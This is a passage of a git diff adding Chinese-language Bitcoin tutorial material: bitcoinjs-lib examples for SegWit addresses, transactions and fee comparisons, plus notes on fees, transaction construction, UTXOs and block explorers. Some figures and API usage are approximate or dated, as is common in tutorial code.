+    txb.sign(0, keyPair, p2sh.redeem.output, null, utxo.value);
+  }
+  
+  // 构建交易
+  const tx = txb.build();
+  
+  return {
+    txHex: tx.toHex(),
+    txid: tx.getId(),
+    channelAddress: p2wsh.address,
+    witnessScript: p2ms.output.toString('hex'),
+    localAmount,
+    remoteAmount,
+    totalAmount: channelAmount
+  };
+}
+
+/**
+ * 解析SegWit交易结构
+ * @param {string} txHex - 交易的十六进制表示
+ * @returns {Object} 解析后的交易结构
+ */
+function parseSegWitTransaction(txHex) {
+  const tx = bitcoin.Transaction.fromHex(txHex);
+  
+  // 基本交易信息
+  const result = {
+    txid: tx.getId(),
+    wtxid: tx.getHash(true).reverse().toString('hex'),
+    version: tx.version,
+    locktime: tx.locktime,
+    hasWitnesses: tx.hasWitnesses(),
+    virtualSize: tx.virtualSize(),
+    weight: tx.weight(),
+    byteLength: tx.byteLength(),
+    inputs: [],
+    outputs: []
+  };
+  
+  // 解析输入
+  tx.ins.forEach((input, index) => {
+    const inputInfo = {
+      txid: Buffer.from(input.hash).reverse().toString('hex'),
+      vout: input.index,
+      sequence: input.sequence,
+      hasWitness: input.witness.length > 0,
+      scriptSig: input.script.toString('hex')
+    };
+    
+    // 如果有见证数据，解析见证数据
+    if (input.witness.length > 0) {
+      inputInfo.witness = input.witness.map(w => w.toString('hex'));
+    }
+    
+    result.inputs.push(inputInfo);
+  });
+  
+  // 解析输出
+  tx.outs.forEach((output, index) => {
+    const script = output.script;
+    let address = null;
+    let type = 'unknown';
+    
+    // 尝试识别输出类型和地址
+    try {
+      // 检查是否为P2PKH
+      if (bitcoin.payments.p2pkh({ output: script, network }).output) {
+        address = bitcoin.payments.p2pkh({ output: script, network }).address;
+        type = 'p2pkh';
+      }
+      // 检查是否为P2SH
+      else if (bitcoin.payments.p2sh({ output: script, network }).output) {
+        address = bitcoin.payments.p2sh({ output: script, network }).address;
+        type = 'p2sh';
+      }
+      // 检查是否为P2WPKH
+      else if (bitcoin.payments.p2wpkh({ output: script, network }).output) {
+        address = bitcoin.payments.p2wpkh({ output: script, network }).address;
+        type = 'p2wpkh';
+      }
+      // 检查是否为P2WSH
+      else if (bitcoin.payments.p2wsh({ output: script, network }).output) {
+        address = bitcoin.payments.p2wsh({ output: script, network }).address;
+        type = 'p2wsh';
+      }
+    } catch (e) {
+      // 无法识别的脚本类型
+    }
+    
+    result.outputs.push({
+      value: output.value,
+      scriptPubKey: script.toString('hex'),
+      type,
+      address
+    });
+  });
+  
+  return result;
+}
+
+/**
+ * 比较SegWit与Taproot交易
+ * @param {number} inputCount - 输入数量
+ * @param {number} outputCount - 输出数量
+ * @returns {Object} 比较结果
+ */
+function compareSegWitWithTaproot(inputCount, outputCount) {
+  // 不同类型交易的大小估算（字节）
+  const sizes = {
+    p2pkh: 10 + (inputCount * 148) + (outputCount * 34),
+    p2sh_p2wpkh: 10 + (inputCount * 91) + (outputCount * 31),
+    p2wpkh: 10 + (inputCount * 67.75) + (outputCount * 31),
+    p2tr: 10 + (inputCount * 57.5) + (outputCount * 31) // Taproot (P2TR)
+  };
+  
+  // 假设费率为10聪/字节
+  const feeRate = 10;
+  
+  // 计算不同类型的费用
+  const fees = {
+    p2pkh: Math.ceil(sizes.p2pkh * feeRate),
+    p2sh_p2wpkh: Math.ceil(sizes.p2sh_p2wpkh * feeRate),
+    p2wpkh: Math.ceil(sizes.p2wpkh * feeRate),
+    p2tr: Math.ceil(sizes.p2tr * feeRate)
+  };
+  
+  // 计算相对于传统交易的节省百分比
+  const savings = {
+    p2sh_p2wpkh_vs_p2pkh: Math.round((1 - (sizes.p2sh_p2wpkh / sizes.p2pkh)) * 100),
+    p2wpkh_vs_p2pkh: Math.round((1 - (sizes.p2wpkh / sizes.p2pkh)) * 100),
+    p2tr_vs_p2pkh: Math.round((1 - (sizes.p2tr / sizes.p2pkh)) * 100),
+    p2tr_vs_p2wpkh: Math.round((1 - (sizes.p2tr / sizes.p2wpkh)) * 100)
+  };
+  
+  return {
+    transactionSizes: sizes,
+    fees,
+    savingsPercentage: savings,
+    comparison: {
+      inputCount,
+      outputCount,
+      feeRate,
+      notes: [
+        "P2TR (Taproot) 提供了比 P2WPKH (SegWit) 更小的交易大小和更低的费用",
+        "Taproot 还提供了更好的隐私性和可扩展性",
+        "SegWit 是 Taproot 的基础，Taproot 是 SegWit v1"
+      ]
+    }
+  };
+}
+
+/**
+ * 获取SegWit采用率和性能数据
+ * 注意：这里使用的是静态数据，实际应用中可以从API获取最新数据
+ * @returns {Object} SegWit采用率和性能数据
+ */
+function getSegWitAdoptionAndPerformanceData() {
+  // 静态数据，实际应用中可以从API获取最新数据
+  return {
+    // SegWit采用率数据（截至2023年的近似值）
+    adoption: {
+      overallPercentage: 85, // 总体采用率
+      byAddressType: {
+        p2sh_p2wpkh: 15, // 兼容SegWit地址采用率
+        p2wpkh: 45, // 原生SegWit地址采用率
+        p2tr: 25, // Taproot地址采用率
+        legacy: 15 // 传统地址使用率
+      },
+      byYear: {
+        '2017': 10,
+        '2018': 30,
+        '2019': 50,
+        '2020': 65,
+        '2021': 75,
+        '2022': 80,
+        '2023': 85
+      }
+    },
+    // 性能数据
+    performance: {
+      // 交易大小比较（字节）
+      transactionSize: {
+        // 1输入1输出的交易
+        oneInOneOut: {
+          p2pkh: 192, // 传统地址
+          p2sh_p2wpkh: 132, // 兼容SegWit
+          p2wpkh: 109, // 原生SegWit
+          p2tr: 98 // Taproot
+        },
+        // 2输入2输出的交易
+        twoInTwoOut: {
+          p2pkh: 374,
+          p2sh_p2wpkh: 254,
+          p2wpkh: 208,
+          p2tr: 186
+        }
+      },
+      // 交易费用比较（假设10聪/字节）
+      transactionFee: {
+        oneInOneOut: {
+          p2pkh: 1920,
+          p2sh_p2wpkh: 1320,
+          p2wpkh: 1090,
+          p2tr: 980
+        },
+        twoInTwoOut: {
+          p2pkh: 3740,
+          p2sh_p2wpkh: 2540,
+          p2wpkh: 2080,
+          p2tr: 1860
+        }
+      },
+      // 区块容量提升
+      blockCapacity: {
+        legacy: '1MB（约2,000笔交易）',
+        withSegWit: '2.1-4MB（约4,000-8,000笔交易）'
+      },
+      // 网络吞吐量（TPS）
+      throughput: {
+        legacy: '3-7 TPS',
+        withSegWit: '7-14 TPS'
+      }
+    },
+    // 实际案例研究
+    caseStudies: {
+      exchange: {
+        name: '某大型交易所',
+        before: {
+          avgFee: '15,000聪/交易',
+          dailyWithdrawals: 5000,
+          dailyFeeTotal: '0.75 BTC'
+        },
+        after: {
+          avgFee: '6,000聪/交易',
+          dailyWithdrawals: 5000,
+          dailyFeeTotal: '0.3 BTC',
+          savings: '60%'
+        }
+      },
+      wallet: {
+        name: '某热门钱包',
+        userAdoption: {
+          legacy: '15%',
+          segwitCompatible: '25%',
+          segwitNative: '45%',
+          taproot: '15%'
+        },
+        avgFeeSavings: '55%'
+      }
+    }
+  };
+}
+
+/**
+ * 解释SegWit交易序列化格式
+ * @returns {Object} SegWit交易序列化格式说明
+ */
+function explainSegWitTransactionFormat() {
+  return {
+    format: {
+      legacy: [
+        '4字节: 版本',
+        'n个输入: [上一笔交易ID(32字节) + 输出索引(4字节) + 脚本长度(变长) + 脚本 + 序列号(4字节)]',
+        'n个输出: [金额(8字节) + 脚本长度(变长) + 脚本]',
+        '4字节: 锁定时间'
+      ],
+      segwit: [
+        '4字节: 版本',
+        '1字节: 标记(0x00)',
+        '1字节: 标志(0x01)',
+        'n个输入: [上一笔交易ID(32字节) + 输出索引(4字节) + 脚本长度(变长) + 脚本 + 序列号(4字节)]',
+        'n个输出: [金额(8字节) + 脚本长度(变长) + 脚本]',
+        'n个见证数据: [见证数据数量(变长) + 见证数据]',
+        '4字节: 锁定时间'
+      ]
+    },
+    differences: [
+      'SegWit交易添加了标记(0x00)和标志(0x01)字节',
+      'SegWit交易将签名数据移到了交易的末尾（见证数据部分）',
+      'SegWit交易的txid计算不包括见证数据，而wtxid包括见证数据',
+      'SegWit交易引入了新的权重单位(weight units)来计算交易大小'
+    ],
+    weightCalculation: [
+      '非见证字节的权重为4',
+      '见证字节的权重为1',
+      '区块权重限制为4,000,000单位（相当于传统的1MB区块大小）',
+      '最大区块大小可达到约4MB（如果全部是见证数据）'
+    ],
+    examples: {
+      p2wpkh: {
+        scriptPubKey: '0014{20字节公钥哈希}',
+        witnessData: '[签名, 公钥]'
+      },
+      p2wsh: {
+        scriptPubKey: '0020{32字节脚本哈希}',
+        witnessData: '[签名1, 签名2, ..., 见证脚本]'
+      }
+    }
+  };
+}
+
+/**
+ * SegWit与Taproot的详细比较
+ * @returns {Object} 比较结果
+ */
+function compareSegWitAndTaproot() {
+  return {
+    overview: {
+      segwit: {
+        version: 'v0',
+        activationDate: '2017年8月',
+        bip: ['BIP141', 'BIP143', 'BIP144', 'BIP173'],
+        addressPrefix: ['bc1q (P2WPKH/P2WSH)'],
+        mainFeatures: ['交易延展性修复', '区块容量增加', '签名验证优化']
+      },
+      taproot: {
+        version: 'v1 (SegWit v1)',
+        activationDate: '2021年11月',
+        bip: ['BIP340', 'BIP341', 'BIP342'],
+        addressPrefix: ['bc1p (P2TR)'],
+        mainFeatures: ['Schnorr签名', '密钥聚合', 'MAST (默克尔抽象语法树)', '脚本增强']
+      }
+    },
+    technicalComparison: {
+      scriptExecution: {
+        segwit: '使用传统的CHECKSIG操作符验证签名',
+        taproot: '使用新的OP_CHECKSIGADD和Schnorr签名'
+      },
+      privacyFeatures: {
+        segwit: '有限的隐私保护',
+        taproot: '增强的隐私保护（所有输出看起来相同，无法区分单签和多签）'
+      },
+      multisigEfficiency: {
+        segwit: '每个签名都需要单独验证',
+        taproot: '使用密钥聚合，多个签名可以聚合为一个'
+      },
+      scriptComplexity: {
+        segwit: '复杂脚本会增加交易大小',
+        taproot: '使用MAST，只有执行的脚本路径会被公开'
+      }
+    },
+    performanceComparison: {
+      transactionSize: {
+        example: '2-of-3多签名交易',
+        segwit: '约222字节',
+        taproot: '约104字节',
+        improvement: '约53%'
+      },
+      verificationSpeed: {
+        segwit: '基准',
+        taproot: '提高约2.5倍',
+        reason: 'Schnorr签名验证更快，批量验证更高效'
+      }
+    },
+    evolutionPath: [
+      'SegWit (v0) 解决了交易延展性问题，为二层解决方案铺平道路',
+      'Taproot (SegWit v1) 建立在SegWit的基础上，提供更高级的脚本功能和隐私保护',
+      '未来可能的SegWit v2将进一步扩展比特币的功能'
+    ]
+  };
+}
+
+// 导出函数
+module.exports = {
+  createSegWitAddresses,
+  createSegWitTransaction,
+  calculateSegWitTransactionId,
+  estimateSegWitTransactionFee,
+  validateSegWitAddress,
+  batchGenerateSegWitAddresses,
+  batchSegWitTransaction,
+  createSegWitMultisigAddress,
+  createLightningChannelFundingTx,
+  parseSegWitTransaction,
+  compareSegWitWithTaproot,
+  getSegWitAdoptionAndPerformanceData,
+  explainSegWitTransactionFormat,
+  compareSegWitAndTaproot
+};
+
+// 使用示例
+/*
+// 创建SegWit地址
+const addresses = createSegWitAddresses();
+console.log('SegWit地址:', addresses);
+
+// 验证地址
+const addressValidation = validateSegWitAddress('bc1qar0srrr7xfkvy5l643lydnw9re59gtzzwf5mdq');
+console.log('地址验证结果:', addressValidation);
+
+// 估算交易费用
+const feeEstimation = estimateSegWitTransactionFee(2, 2, 'p2wpkh', 5);
+console.log('费用估算:', feeEstimation);
+
+// 比较SegWit与Taproot
+const comparison = compareSegWitWithTaproot(2, 2);
+console.log('SegWit与Taproot比较:', comparison);
+
+// 获取SegWit采用率和性能数据
+const adoptionData = getSegWitAdoptionAndPerformanceData();
+console.log('SegWit采用率和性能数据:', adoptionData);
+*/
\ No newline at end of file
diff --git a/BTC/Basic/SegWit/example.js b/BTC/Basic/SegWit/example.js
new file mode 100644
index 000000000..4746e82f3
--- /dev/null
+++ b/BTC/Basic/SegWit/example.js
@@ -0,0 +1,247 @@
+/**
+ * SegWit (隔离见证) 代码示例
+ * 
+ * 本文件包含与比特币隔离见证(SegWit)相关的JavaScript代码示例，
+ * 使用bitcoinjs-lib库演示如何创建SegWit地址和交易。
+ */
+
+const bitcoin = require('bitcoinjs-lib');
+const network = bitcoin.networks.bitcoin; // 主网
+
+/**
+ * 创建不同类型的SegWit地址
+ */
+function createSegWitAddresses() {
+  // 创建密钥对
+  const keyPair = bitcoin.ECPair.makeRandom({ network });
+  const publicKey = keyPair.publicKey;
+  
+  // 1. 创建P2WPKH（原生SegWit）地址 - 以bc1q开头
+  const p2wpkh = bitcoin.payments.p2wpkh({
+    pubkey: publicKey,
+    network
+  });
+  
+  // 2. 创建P2SH-P2WPKH（兼容SegWit）地址 - 以3开头
+  const p2sh_p2wpkh = bitcoin.payments.p2sh({
+    redeem: bitcoin.payments.p2wpkh({ pubkey: publicKey, network }),
+    network
+  });
+  
+  // 3. 创建P2WSH（原生SegWit脚本哈希）地址
+  // 创建一个2-of-3多签名赎回脚本
+  const pubkeys = [
+    bitcoin.ECPair.makeRandom({ network }).publicKey,
+    bitcoin.ECPair.makeRandom({ network }).publicKey,
+    bitcoin.ECPair.makeRandom({ network }).publicKey
+  ];
+  
+  const p2ms = bitcoin.payments.p2ms({
+    m: 2, // 需要2个签名
+    pubkeys,
+    network
+  });
+  
+  const p2wsh = bitcoin.payments.p2wsh({
+    redeem: p2ms,
+    network
+  });
+  
+  return {
+    privateKey: keyPair.privateKey.toString('hex'),
+    publicKey: publicKey.toString('hex'),
+    p2wpkh: {
+      address: p2wpkh.address, // 原生SegWit地址
+      type: 'P2WPKH (Native SegWit)'
+    },
+    p2sh_p2wpkh: {
+      address: p2sh_p2wpkh.address, // 兼容SegWit地址
+      type: 'P2SH-P2WPKH (Compatible SegWit)'
+    },
+    p2wsh: {
+      address: p2wsh.address, // 原生SegWit脚本哈希地址
+      type: 'P2WSH (Native SegWit Script Hash)'
+    }
+  };
+}
+
+/**
+ * 构建SegWit交易
+ * @param {Object} utxo - 未花费交易输出
+ * @param {string} toAddress - 接收地址
+ * @param {number} amount - 发送金额（聪）
+ * @param {number} fee - 交易费（聪）
+ * @param {Object} keyPair - 密钥对
+ * @param {string} changeAddress - 找零地址
+ * @param {string} addressType - 地址类型 ('p2wpkh', 'p2sh-p2wpkh')
+ * @returns {string} 交易的十六进制表示
+ */
+async function createSegWitTransaction(utxo, toAddress, amount, fee, keyPair, changeAddress, addressType = 'p2wpkh') {
+  const txb = new bitcoin.TransactionBuilder(network);
+  
+  // 添加输入（来自SegWit地址的UTXO）
+  txb.addInput(utxo.txid, utxo.vout);
+  
+  // 添加输出
+  txb.addOutput(toAddress, amount);
+  
+  // 如果有找零，添加找零输出
+  const change = utxo.value - amount - fee;
+  if (change > 0) {
+    txb.addOutput(changeAddress || utxo.address, change);
+  }
+  
+  // 根据地址类型签名交易
+  if (addressType === 'p2wpkh') {
+    // 原生SegWit地址签名
+    txb.sign(0, keyPair, null, null, utxo.value);
+  } else if (addressType === 'p2sh-p2wpkh') {
+    // 兼容SegWit地址签名
+    const p2wpkh = bitcoin.payments.p2wpkh({ pubkey: keyPair.publicKey, network });
+    const p2sh = bitcoin.payments.p2sh({ redeem: p2wpkh, network });
+    txb.sign(0, keyPair, p2sh.redeem.output, null, utxo.value);
+  }
+  
+  // 构建并返回交易
+  const tx = txb.build();
+  return tx.toHex();
+}
+
+/**
+ * 计算SegWit交易的交易ID
+ * @param {string} txHex - 交易的十六进制表示
+ * @returns {Object} 包含txid和wtxid的对象
+ */
+function calculateSegWitTransactionId(txHex) {
+  const tx = bitcoin.Transaction.fromHex(txHex);
+  
+  // 计算传统txid（不包含见证数据）
+  const txid = tx.getId();
+  
+  // 计算wtxid（包含见证数据）
+  const wtxid = tx.getHash(true).reverse().toString('hex');
+  
+  return {
+    txid,
+    wtxid,
+    isSame: txid === wtxid
+  };
+}
+
+/**
+ * 估算SegWit交易的大小和费用
+ * @param {number} inputCount - 输入数量
+ * @param {number} outputCount - 输出数量
+ * @param {string} addressType - 地址类型 ('p2wpkh', 'p2sh-p2wpkh')
+ * @param {number} feeRate - 费率（聪/字节）
+ * @returns {Object} 包含大小和费用的对象
+ */
+function estimateSegWitTransactionFee(inputCount, outputCount, addressType = 'p2wpkh', feeRate = 10) {
+  let txSize = 0;
+  
+  // 计算交易大小（近似值）
+  if (addressType === 'p2wpkh') {
+    // 原生SegWit (P2WPKH) 交易大小估算
+    // 基本交易大小 + 输入大小 + 输出大小
+    txSize = 10 + (inputCount * 67.75) + (outputCount * 31);
+  } else if (addressType === 'p2sh-p2wpkh') {
+    // 兼容SegWit (P2SH-P2WPKH) 交易大小估算
+    txSize = 10 + (inputCount * 91) + (outputCount * 31);
+  } else {
+    // 传统 (P2PKH) 交易大小估算
+    txSize = 10 + (inputCount * 148) + (outputCount * 34);
+  }
+  
+  // 计算费用
+  const fee = Math.ceil(txSize * feeRate);
+  
+  return {
+    estimatedSize: txSize,
+    estimatedFee: fee,
+    feeRate: feeRate
+  };
+}
+
+/**
+ * 验证地址是否为SegWit地址
+ * @param {string} address - 比特币地址
+ * @returns {Object} 包含验证结果的对象
+ */
+function validateSegWitAddress(address) {
+  try {
+    // 尝试解析地址
+    const result = bitcoin.address.fromBase58Check(address);
+    
+    // 检查是否为P2SH地址（可能是P2SH-P2WPKH）
+    if (result.version === network.scriptHash) {
+      return {
+        isValid: true,
+        type: 'P2SH (可能是P2SH-P2WPKH兼容SegWit)',
+        isSegWit: 'Compatible'
+      };
+    }
+    
+    return {
+      isValid: true,
+      type: 'P2PKH (传统地址)',
+      isSegWit: false
+    };
+  } catch (e) {
+    // 如果不是Base58地址，尝试Bech32
+    try {
+      const result = bitcoin.address.fromBech32(address);
+      
+      if (result.version === 0) {
+        if (result.data.length === 20) {
+          return {
+            isValid: true,
+            type: 'P2WPKH (原生SegWit)',
+            isSegWit: 'Native'
+          };
+        } else if (result.data.length === 32) {
+          return {
+            isValid: true,
+            type: 'P2WSH (原生SegWit脚本哈希)',
+            isSegWit: 'Native'
+          };
+        }
+      }
+      
+      return {
+        isValid: true,
+        type: '未知的Bech32地址',
+        isSegWit: 'Unknown'
+      };
+    } catch (e) {
+      return {
+        isValid: false,
+        type: '无效地址',
+        isSegWit: false
+      };
+    }
+  }
+}
+
+// 导出函数
+module.exports = {
+  createSegWitAddresses,
+  createSegWitTransaction,
+  calculateSegWitTransactionId,
+  estimateSegWitTransactionFee,
+  validateSegWitAddress
+};
+
+// 使用示例
+/*
+// 创建SegWit地址
+const addresses = createSegWitAddresses();
+console.log('SegWit地址:', addresses);
+
+// 验证地址
+const addressValidation = validateSegWitAddress('bc1qar0srrr7xfkvy5l643lydnw9re59gtzzwf5mdq');
+console.log('地址验证结果:', addressValidation);
+
+// 估算交易费用
+const feeEstimation = estimateSegWitTransactionFee(2, 2, 'p2wpkh', 5);
+console.log('费用估算:', feeEstimation);
+*/
\ No newline at end of file
diff --git a/BTC/Basic/Transaction/Fee Estimation.md b/BTC/Basic/Transaction/Fee Estimation.md
new file mode 100644
index 000000000..f48463876
--- /dev/null
+++ b/BTC/Basic/Transaction/Fee Estimation.md	
@@ -0,0 +1,31 @@
+在比特币的底层系统中，并没有对手续费做规定。也就是说，手续费并不是强制要收取的。在早期，由于比特币价格低，链上转账数目少，很多矿工并不在意用户是否支付了手续费（也叫矿工费），所以很多没有支付手续费的比特币也被矿工打包确认了。但随着比特币价格的快速上扬，链上转账数目越来越多，为了让自己的利益最大化，矿工开始优先打包有手续费的成交。现在，如果转账不支付手续费，基本上不会被矿工打包确认。
+
+
+影响交易费用的因素
+
+*字节大小
+
+比特币交易的大小以字节为单位，通常交易越大，费用也越高。交易的大小取决于输入和输出的数量。
+
+比特币转账的字节大小跟转账的金额无关，跟 UTXO 的数量有关。举个例子，张三、李四分别给王五转 6BTC，如果张三用的是一个面额为 7BTC 的 UTXO，李四用的是七个面额都为 1BTC 的 UTXO，那么很显然，李四的这笔转账字节要大得多。
+
+目前，主流的手续费标准是按照字节收费：每千字节收取 0.0001BTC 的手续费（不足一千字节的按照一千字节算）。
+
+*网络拥堵情况
+
+比特币网络的拥堵情况也会影响手续费。如果使用比特币链上转账的人很多，造成了比特币网络拥堵，而你想让自己的转账尽快确认，你就需要支付更高的手续费进行“插队”，提高被打包确认的优先级。当然，如果你并不着急，也不用因为比特币网络拥堵而提高转账的手续费。
+
+
+估算方法
+
+1. 使用交易所或钱包：许多比特币钱包和交易所提供自动计算的建议费用。用户可以根据推荐的费用进行交易。
+
+2. 利用在线工具：有很多在线工具和网站提供实时的比特币交易费用估算，通常会显示当前的平均费用和推荐费用, 例如：
+
+Mempool.space：(https://mempool.space/zh/)提供实时的 未确认交易和费用数据。
+
+BTCscan：(https://btcscan.org/)显示当前区块链状态和推荐费用。
+
+Blockchair: (https://blockchair.com/)提供详细的区块链分析和费用估算。
+
+
diff --git a/BTC/Basic/Transaction/Transaction Construction.md b/BTC/Basic/Transaction/Transaction Construction.md
new file mode 100644
index 000000000..3f5ca2c96
--- /dev/null
+++ b/BTC/Basic/Transaction/Transaction Construction.md	
@@ -0,0 +1,83 @@
+构建比特币交易的过程涉及多个步骤，以下是一个简化的步骤指南，帮助你理解如何在比特币网络上构建和发送交易。
+
+### 1. 准备工作
+
+- **钱包地址**：你需要一个比特币钱包地址（通常是由公钥生成的）用于接收比特币。
+- **私钥**：这是控制你钱包的密钥，必须保密。
+- **比特币余额**：确保你的钱包中有足够的比特币用于交易。
+
+### 2. 创建交易
+
+#### 交易基本结构
+
+一笔比特币交易通常包含以下几个部分：
+
+- **输入（Inputs）**：引用之前的交易输出，表示你要花费的比特币。
+- **输出（Outputs）**：指定比特币的接收地址和金额
+- **交易金额**：你要发送的比特币数量
+- **手续费**：矿工费，用于激励矿工处理你的交易
+
+#### 示例交易结构（JSON格式）
+
+```json
+{
+  "inputs": [
+    {
+      "txid": "previous_transaction_id",
+      "vout": 0,
+      "scriptSig": "signature",
+      "sequence": 4294967295
+    }
+  ],
+  "outputs": [
+    {
+      "address": "recipient_address",
+      "amount": 0.01
+    },
+    {
+      "address": "change_address",
+      "amount": 0.009
+    }
+  ],
+  "locktime": 0
+}
+```
+
+### 3. 签名交易
+
+使用你的私钥对交易进行签名。这一步骤确保了交易的安全性和有效性。签名的算法通常是椭圆曲线数字签名算法（ECDSA）
+
+### 4. 广播交易
+
+一旦交易被签名，你需要将其广播到比特币网络。这可以通过连接到比特币节点或使用第三方API来完成
+
+### 5. 交易确认
+
+交易被矿工打包到区块后，等待网络确认。通常需要六个确认才能认为交易是不可逆的。
+
+### 6. 检查交易状态
+
+你可以使用区块链浏览器来检查交易的状态，确认它是否已被矿工确认。
+
+### 代码示例
+
+以下是一个简单的Python示例，使用 `bitcoinlib` 库构建和发送比特币交易：
+
+```python
+from bitcoinlib.wallets import Wallet
+
+# 创建或加载钱包
+wallet = Wallet('MyWallet')
+
+# 创建交易
+tx = wallet.send_to('recipient_address', amount=0.01)
+
+# 查看交易详情
+print(tx.info())
+```
+
+### 注意事项
+
+- 始终保持你的私钥安全。
+- 确保使用可靠的钱包软件。
+- 了解网络手续费的变化，选择合适的手续费以确保交易被及时处理。
diff --git a/BTC/Basic/Transaction/UTXO.md b/BTC/Basic/Transaction/UTXO.md
new file mode 100644
index 000000000..835ecd976
--- /dev/null
+++ b/BTC/Basic/Transaction/UTXO.md
@@ -0,0 +1,29 @@
+UTXO（Unspent Transaction Output）是比特币交易的核心模型，代表未花费的交易输出。
+
+
+工作原理：
+
+每笔交易通过输入（引用并消耗之前的UTXO）和输出（生成新的UTXO）完成转账。
+
+例如：当前用户A余额是1000元，如果用户A给用户B转100元，这笔转账会被记录成：
+
+交易1 用户A给用户B转账100元
+
+交易2 用户A给用户A自己转账900元 （UTXO）
+
+这里的交易2虽然是一笔交易，但从功能上来说他担当了账户余额的作用，表示在完成这笔100元转账后A的账户上还剩余900元。
+
+
+特点：
+
+安全性高：UTXO模型通过验证每笔交易的输入，确保输入的UTXO是有效的且未被花费。这提高了交易的安全性，防止了双花攻击。
+双花攻击是指同一个比特币被花费两次。UTXO模型通过记录每个UTXO的状态，有效地防止了这种情况的发生
+
+隐私性好：每个UTXO都是独立的，可以被多个交易分开使用。这使得交易难以被追踪，提高了用户的隐私性。
+例如，你可以将一个大额UTXO分成多个小额UTXO，用于不同的交易，从而混淆交易的来源和目的
+
+可扩展性强：UTXO模型允许并行处理多个交易，提高了网络的可扩展性。每个节点只需要验证自己收到的UTXO，而不需要处理整个账户的余额。这使得比特币网络可以处理更多的交易，提高了网络的吞吐量
+
+
+
+
diff --git a/BTC/Basic/Transaction/UTXO.png b/BTC/Basic/Transaction/UTXO.png
new file mode 100644
index 000000000..ab60fa974
Binary files /dev/null and b/BTC/Basic/Transaction/UTXO.png differ
diff --git a/BTC/Basic/explorer/README.md b/BTC/Basic/explorer/README.md
new file mode 100644
index 000000000..0eb90ad33
--- /dev/null
+++ b/BTC/Basic/explorer/README.md
@@ -0,0 +1,371 @@
+概述
+
+区块链浏览器是一种用于查看和检索区块链上数据的在线工具，类似于传统互联网中的搜索引擎。它并非传统意义上的“浏览器”（如Chrome或Safari），而是专门为区块链设计的透明化数据查询工具,用于查询和展示区块链网络中的公开数据。其核心功能是解析并可视化分布式账本中的信息，例如交易记录、区块详情、地址余额、智能合约状态等。用户通过区块链浏览器可以实时监控链上活动，验证交易真实性，并分析网络运行状态。
+
+以下是其要点：
+
+1.技术原理
+
+1.1 区块链数据结构解析
+
+区块链的本质是一个按时间顺序连接的链式数据结构，每个区块包含以下核心元素：
+
+-区块头（Block Header）：存储区块的元数据，包括版本号、时间戳、前序区块哈希（Previous Hash）、默克尔根（Merkle Root）、难度值等
+
+-交易列表（Transactions）：记录该区块打包的所有交易信息，例如发送方、接收方、金额、Gas费用等
+
+-哈希值（Block Hash）：通过加密算法（如SHA-256）生成的唯一标识符，用于确保区块数据的不可篡改性
+
+-区块链浏览器通过解析这些数据结构，将原始二进制或十六进制数据转换为可读的格式（如JSON或HTML），并在前端界面中展示
+
+
+1.2 节点交互与数据同步
+
+区块链浏览器需要与网络中的节点（Node）建立连接以获取实时数据。节点分为全节点和轻节点：
+
+-全节点：存储完整的区块链数据，能够独立验证交易和区块的有效性
+
+-轻节点：仅存储区块头信息，依赖其他节点提供交易细节
+
+浏览器通常通过节点的RPC（Remote Procedure Call）接口或专用API获取数据。例如，以太坊的Web3.js库允许开发者与以太坊节点通信，查询账户余额或交易详情
+
+
+1.3 数据索引与存储优化
+
+由于区块链数据量庞大（如比特币区块链已超过400GB），直接查询链上数据效率低下。因此，区块链浏览器通常采用以下优化技术：
+
+-建立索引数据库：将区块高度、交易哈希、地址等关键字段存入关系型数据库（如MySQL）或NoSQL数据库（如MongoDB），加速查询响应
+
+-缓存机制：对高频访问的数据（如最新区块）进行缓存，减少重复计算
+
+-分布式架构：采用微服务设计，将数据采集、处理和展示模块分离，提升系统扩展性
+
+
+1.4 前端与后端技术栈
+
+-前端：使用React、Vue等框架构建交互式界面，结合图表库（如D3.js）展示交易趋势、网络算力等统计信息
+
+-后端：采用Node.js、Python或Go语言开发API服务，处理数据查询请求并与区块链节点交互
+
+-安全机制：通过HTTPS加密传输、防止SQL注入和跨站脚本（XSS）攻击，确保用户数据安全
+
+
+
+2.核心功能
+
+区块链浏览器的功能设计围绕链上数据的透明性和可追溯性展开，以下是其核心功能模块：
+
+2.1 区块与交易查询
+
+-区块详情：展示区块高度、哈希值、时间戳、矿工地址、交易数量、Gas消耗等信息
+
+-交易追踪：通过交易哈希（TxHash）查询交易状态（确认数）、输入输出地址、转账金额及手续费
+
+-地址监控：查看特定地址的余额、交易历史记录及关联的智能合约
+
+
+2.2 实时数据展示
+
+-最新区块列表：滚动显示最新生成的区块及其基础信息
+
+-未确认交易池（Mempool）：展示待打包交易的排队情况，帮助用户预估交易确认时间
+
+
+2.3 统计分析与可视化
+
+-网络算力（Hash Rate）：实时显示全网挖矿算力分布及变化趋势
+
+-交易吞吐量：统计每秒交易数（TPS）及区块间隔时间
+
+-代币分布：分析通证（Token）的持有者地址数量及持仓比例
+
+
+2.4 智能合约交互
+
+-合约代码审计：展示智能合约的源代码及字节码，支持开发者验证合约逻辑
+
+-事件日志（Event Logs）：记录合约执行过程中触发的事件，便于调试和追踪
+
+-ABI接口调用：允许用户通过浏览器直接与合约交互，执行查询或触发函数
+
+
+2.5 网络状态监控
+
+-节点地理分布：地图可视化展示全球节点的地理位置
+
+-协议版本检测：监控网络中不同客户端（如Geth、Parity）的版本兼容性
+
+-分叉警报：实时检测硬分叉或软分叉事件，并提供链重组（Reorg）详情
+
+
+
+3.核心特点
+
+区块链浏览器的设计理念和技术实现赋予其以下显著特点：
+
+3.1 数据透明性与不可篡改性
+
+-所有链上数据公开可查，任何人可通过地址、交易哈希等查询交易详情（如金额、时间戳、参与方地址,任何用户均可验证交易的真实性
+
+-基于哈希指针和加密算法，确保历史数据无法被修改
+
+-提供区块结构可视化展示，包括区块高度、哈希值、矿工奖励、打包交易数量等元数据
+
+-实时显示网络全局数据：全网算力、交易手续费均值、未确认交易池规模、活跃地址数量等
+
+
+3.2 多链兼容性
+
+-支持不同共识机制（如PoW、PoS、DPoS）的区块链，例如比特币、以太坊、波场等
+
+-跨链浏览器（如Blockchair）可同时查询多条链的数据
+
+-各公链浏览器存在协议级差异（如UTXO模型与账户模型的不同展示逻辑）
+
+-智能合约链支持ABI解析，可将字节码转化为可读函数调用
+
+-特定功能定制化（如Filecoin浏览器包含存储订单生命周期追踪）
+
+
+3.3 安全防护机制
+
+-采用速率限制策略（如单个IP每分钟不超过120次请求）
+
+-部署交易流量异常检测系统，自动识别DDoS攻击模式
+
+-关键查询实施人机验证（CAPTCHA），防止数据爬取滥用
+
+
+3.4 用户友好性
+
